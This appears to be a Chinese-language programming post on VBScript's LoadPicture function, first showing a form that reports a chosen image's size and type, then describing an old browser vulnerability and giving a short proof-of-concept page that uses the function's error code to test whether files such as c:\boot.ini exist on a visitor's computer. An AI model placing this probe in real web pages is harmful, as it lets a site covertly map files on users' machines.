vbscript中的LoadPicture函数

<title>LoadPicture函数</title>
<form name="frm">
     选择图片<input type="file" name="pic" onChange="GetPicInfor()" >
</form>
<script language="vbscript">

Sub GetPicInfor()
     dim objpic,iWidth,iHeight
dim pictype,picpath
picpath=document.frm.pic.value
set objpic=Loadpicture(picpath)
iWidth = round(objpic.width / 26.4583) ‘26.4583是像素值
     iHeight = round(objpic.height / 26.4583)
select case objpic.type
            case 0
                pictype = "None"
             case 1
                pictype = "Bitmap"
             case 2
                pictype = "Metafile"
             case 3
                pictype = "Icon"
             case 4
                pictype = "Win32-enhanced metafile"
end select
document.write "你选择了图片"&picpath
document.write "<li>长度:"&iHeight&"</li>"
document.write "<li>宽度:"&iwidth&"</li>"
document.write "<li>类型:"&pictype&"</li>"
End Sub
</script>

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不过这个函数有个漏洞，可以探测电脑上存在的文件名。2004年的漏洞，微软现在也没补，示例:

<form onsubmit="doIt(this);return false">
<input name="filename" value="c:\boot.ini" size="80" type="text"><input type="submit">
</form>

<script language="vbscript">

Sub loadIt(filename)
LoadPicture(filename)
End Sub

</script>

<script language="javascript">

function doIt(form) {

try {
loadIt(form.filename.value);
} catch(e) {
result = e.number;
}

if (result != -2146827856) {
alert('file exists');
} else {
alert('file does not exist');
}
}
</script>